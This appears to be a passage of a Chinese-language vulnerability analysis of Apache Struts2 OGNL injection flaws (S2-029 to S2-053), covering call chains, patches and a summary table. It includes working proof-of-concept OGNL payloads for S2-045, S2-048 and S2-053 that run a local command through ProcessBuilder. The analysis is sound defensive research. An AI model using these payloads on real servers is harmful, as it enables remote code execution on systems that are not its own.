看到这里有人会产生疑问,分明S2-029的修复补丁中把AST树的执行权限都禁了,怎么还能执行成功,我专门去看了一下2.3.28的代码,万万没想到,2.3.24.3的补丁代码没了,这也是为什么2.3.28可以利用而2.3.24.3除外的原因。
注:S2-033和S2-037与032的利用原理、修复补丁基本相似,所以不再分析。
适用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10
这次的漏洞,官方通告中说的是上传组件的问题导致的RCE漏洞,但是利用的话,随便任意一处.action都可以利用成功。
Content-Type:%{(#glassy='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}
关于poc有一处细节非常重要,我们可以看到连接每个表达式的不再是’,’ 而变成了’.’ ,有心的同学可以去试一下使用’,'是不行的,问题就出在了S2-029的补丁把ATSSequence树给禁了,而用’,'连接生成的AST树都是ATSSequence树,使用之所以使用’.'也就是为了绕过S2-029的补丁。
这一个漏洞的调用链还是和之前的有很大的不同的,
我们这次从Dispatcher类开始分析,这也是ST2刚收到request时候的处理类,当ST2收到的request包包含Content-Type,并且Content-Type中包含“multipart/form-data”的时候会把请求交给MultiPartRequestWrapper处理,
MultiPartRequestWrapper会使用JakartaMultiPartRequest类去处理上传,文件,当上传文件出错的时候,就会调用buildErrorMessage函数处理报错,
接下来,经过几个函数后,报错的信息被传入了TextParseUtil.translateVariables,translateVariables会在后续的调用中将报错信息中用%{}包裹的内容带入ognl.getValue(这些都是前面提到过的了),而这个报错信息,就包含的有我们Content-Type头中的所有内容,从而导致传入ognl中的值攻击者可控,造成了RCE漏洞。
这个漏洞修复比较简单,就是不把报错的信息放到LocalizedTextUtil.findText函数中去了,从而保证报错的content-type不被带进ognl。
S2-046的漏洞原理和修复与045一样,区别在于触发报错的方式和ognl表达式的注入点不一样,不再详细分析。
适用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本
048的利用场景也是比较苛刻的,简单的说是当传入ActionMessage的值是用户可控的情况下,攻击者可以通过传入恶意的payload造成RCE。
示例代码就贴一下官方showcase Demo中可以利用成功的SaveGangsterAction
public class SaveGangsterAction extends Action {
public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
GangsterForm gform = (GangsterForm) form;
ActionMessages messages = new ActionMessages();
// gform参数的name字段用户可控切被传入了ActionMessage类,满足了攻击条件。
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));
addMessages(request, messages);
return mapping.findForward("success");
}
}
这里的poc也是以showcase app中的saveGangster.action作为示例的。
name=${(#glassy='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}&age=11&__checkbox_bustedBefore=true&description=22
虽然举的例子是SaveGangsterAction,但是漏洞的真正触发点是在Struts1Action,当在ST2中需要去使用ST1的类的时候就需要去调用这个Struts1Action类,像刚刚举例的SaveGangsterAction类中,Action、ActionMapping、ActionMessage、ActionMessages类都是ST1中的。
我们先去整体看一下调用链,可以注意到虽然访问的是SaveGangsterAction类,但调用链中还交给Struts1Action去处理的,
这个调用链跟的比较长,但其实可以跟的很短,这就需要一个良好的ST2漏洞发掘经验,我们可以明确一个思路:只要看到可控的参数被传到了TextParseUtil.translateVariables或ActionSupport.getText方法了,就说明这个参数最终会被交给OGNL.getValue。
直接去跟进Struts1Action.execute,
其中
ActionForward forward = action.execute(mapping, this.actionForm, request, response);
就是去执行SaveGangsterAction的execute方法,然后就去获取传给ActionMessage的值
ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE");
最后传给了ActionSupport.getText从而成功在后续的调用中把payload交到了OGNL.getValue中,造成RCE。
this.addActionMessage(this.getText(msg.getKey()));
这次的修复ST2不是在自己代码中去做的,而是给出了当在ST2中使用struts2-struts1-plugin的规范,以SaveGangsterAction为例
要写成
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
而不能写成
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
简单的说就是不要把前端可控参数传到ActionMessage的key中,如果真需要把前端可控参数传给ActionMessage,就传到value中。
适用版本:2.0.0 – 2.3.33 , 2.5 – 2.5.10.1
053版本的利用条件也比较苛刻,只有服务端将用户可控的参数放到了Freemarker的标签属性中的时候,才会造成RCE,实例写法如下,
<@s.url value="${name}"/>
当name参数是客户端传过来的时候,就会在ST2服务器上造成RCE
http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d
看一下调用链,
因为漏洞触发是发生在ST2返回页面的时候,所以调用链就从StrutsResultSupport.execute开始跟,st2看到返回的页面是Freemarker模板的,所以交给FreemarkerResult类处理,Freemarker在处理的时候需要去找name的值以便生成完整的标签,于是通过ST2去findString,发现name参数是ognl表达式,于是交给了ognl.getValue,造成了rce。
这次的修复是在FreemarkerManager中多了两行代码,
LOG.debug("Sets NewBuiltinClassResolver to TemplateClassResolver.SAFER_RESOLVER", new String[0]);
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
去看了一下TemplateClassResolver.SAFER_RESOLVER)的官方文档,
TemplateClassResolver.SAFER_RESOLVER now disallows creating freemarker.template.utility.JythonRuntime and freemarker.template.utility.Execute. This change affects the behavior of the new built-in if FreeMarker was configured to use SAFER_RESOLVER, which is not the default until 2.4 and is hence improbable.
大致意思应该就是禁止了freemarker的RCE,具体我对freemarker不太了解,就不去误人子弟了。
这里的总结我们就通过一张表格去概括了。
漏洞名称 | 命令注入位置 | OGNL执行函数 | 漏洞成因 |
---|---|---|---|
S2-001 | 参数值 | Ognl.getValue | 当参数值是形如%{*}的形式的时候,ST2会把这个值当做OGNL表达式去执行。 |
S2-003 | 参数名 | Ognl.setValue | 通过构造形如(exp)(a)(b)的形式的表达式,放入ognl.setvalue,最终会将exp带入ognl.getvalue |
S2-005 | 参数名 | Ognl.setValue | S2-003的绕过,通过ognl表达式,可以对ognl的root、context中的值做任意修改,从而绕过基于定义变量值的补丁 |
S2-007 | 参数值 | Ognl.getValue | 当对参数做了类型限制,而类型转换出错的时候,ST2会把出错的参数值带入Ognl.getValue |
S2-009 | 参数值和参数名的配合 | Ognl.setValue | 003和005的绕过通过构造一个带有payload的值a传给ognl,再通过把(b)(a)带如ognl.setvalue从而造成和005一样的rce |
S2-012 | 重定向参数 | Ognl.getValue | 计算重定向url的时候会把重定向参数的值放入ognl.getvalue中 |
S2-013 | 使用特殊s:url或者s:a标签的action的参数值 | Ognl.getValue | 计算标签中action路径的时候,会把参数值带入ognl.getvalue |
S2-015 | action值 | Ognl.getValue | 计算重定向url的时候会把action的值放入ognl.getvalue中 |
S2-016 | action:或redirect:\redirectAction:后面的值 | Ognl.getValue | 同012 |
S2-019 | debug和expression的参数值 | Ognl.getValue | ST2开启调试模式的时候,自带的可以执行ognl表达式的功能 |
S2-029 | 写入jsp中st2标签特殊属性值中的参数值 | Ognl.getValue | 返回给前端的jsp中的st2标签的属性值是形如%{exp}的形式的时候,会把exp放入ognl.getvalue |
S2-032 | method:后的参数值 | Ognl.getValue | 计算返回结果的时候,ST2就开始去计传过来的method:后面的值,从而把内容放进了ognl.getValue |
S2-045 | Content-Type的值 | Ognl.getValue | ST2在处理上传文件出错的时候且错误信息中带%{exp}的时候,会把exp带入ognl.getValue |
S2-048 | 传入ActionMessage的key中的参数值 | Ognl.getValue | ST2处理ST1的action的时候会把ActionMessage的key传给ognl.getValue |
S2-053 | Freemarker的标签属性中的参数值 | Ognl.getValue | 计算Freemarker的标签属性值的时候会参数的值放入ognl.getvalue中 |
*本文作者:Glassy@平安银行应用安全团队,转载请注明来自FreeBuf.COM